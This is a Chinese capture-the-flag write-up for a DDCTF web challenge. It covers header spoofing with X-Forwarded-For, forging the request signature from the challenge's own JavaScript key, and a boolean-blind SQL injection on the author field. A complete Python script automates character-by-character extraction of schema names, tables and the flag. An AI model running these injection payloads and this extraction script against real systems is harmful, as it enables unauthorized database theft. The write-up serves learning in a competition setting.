DDCTF部分wp

抱着学习的态度去打DDCTF,在朋友们帮助下收获很多,这里先感谢朋友

Web 数据库的秘密

image

这一步比较简单,抓包在消息头headers构造:

1
X-Forwarded-For: 123.232.23.245

第二步如图,这里有几个注意点

image

image

  • 第一,这里的time是时间戳,抓包后一段时间后会失效,与sig同步
  • 第二,sig采用了math.js中的sha1算法,每一步骤有不同的校验值(第二关查看源代码)
  • 第三,每一次运行都要提交 X-Forwarded-For: 123.232.23.245,否则回到原点

下面讲讲具体操作,不放图了,因为抓包频繁贼麻烦

  • 复制main.js,math.js,index.php在本地搭建,保证有与time(时间戳)同步的sig校验值
  • 下面放出生成sig的php文件(太长,就是math.js文件+如下(main.js修改))
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <script type="text/javascript">
    function signGenerate(obj, key) {
    var str0 = '';
    for (i in obj) {
    if (i != 'sign') {
    str1 = '';
    str1 = i + '=' + obj[i];
    str0 += str1
    }
    }
    return hex_math_enc(str0 + key)
    };
    var obj = {
    id: '',
    title: '',
    author: 'admin\' and 1#', //no可以返回数据
    //author: 'admin\' and 0#', //不返回数据
    time: '1524147898' //改这里的time
    };


    var key="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";

    </script>
    <body>

    </body>
    </html>

每一次抓包的时候记得把抓到的time值传给php生成sig后,再复制sig值传给抓包.

最后测试注入点在author上,语句如下:

1
2
author: 'admin\' and 1#', //可以返回数据
author: 'admin\' and 0#', //不返回数据

多次操作后,发现>,union等等过滤了,if可以用,写个脚本.(这里是python,一个学长大佬用的是js在控制台也得到flag,在下不会js学不来学不来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import time
import requests
import hashlib
def sig(obj,key):
str0 = ''
for i in obj:
str1=''
str1=i+'='+obj[i]
str0+=str1
string = str0+key
sha1 = hashlib.sha1()
sha1.update(string.encode('utf-8'))
res = sha1.hexdigest()
return res

sign=''
def urll(sign,now,payload):
url = 'http://116.85.43.88:8080/KREKGJVFPYQKERQR/dfe3ia/index.php?sig=%s&time=%s'%(sign,now)
headers={
'X-Forwarded-For': '123.232.23.245'
}
data={
'id':'',
'title':'',
'date':'',
'author': payload,
'button':'search'
}
r1 = requests.post(url,headers=headers,data=data)
return r1.text
key = "adrefkfweodfsdpiru"

flag = ''
for x in range(1,50):
asc = 33
while 1:
now = int(time.time())
#payload='admin\' and if(((select greatest(ascii(substr((select group_concat(schema_NAME) from information_schema.schemata),%s,1)),1)) like %s),1,0)#'%(str(x),str(asc)) #information_schema,ddctf
#payload='admin\' and if(((select greatest(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema like (select 0x6464637466)),%s,1)),1)) like %s),1,0)#'%(str(x),str(asc))
#payload='admin\' and if(((select greatest(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name like (select 0x6d657373616765)),%s,1)),1)) like %s),1,0)#'%(str(x),str(asc))
payload='admin\' and if(((select greatest(ascii(substr((select group_concat(secvalue) from ctf_key3),%s,1)),1)) like %s),1,0)#'%(str(x),str(asc))
obj = {'id':'','title':'','author':''+payload+'','date':'','time':''+str(now)+''}
sign = sig(obj,key)
content = urll(sign,now,payload)
//如果返回2017-12-04,则说明ascii码猜测正确!!
if '2017-12-04' in content:
flag+=chr(asc)
print(flag)
break
else:
asc=asc+1
if asc==255:
print("fail")
break
print(flag)
文章目录
  1. 1. Web 数据库的秘密
,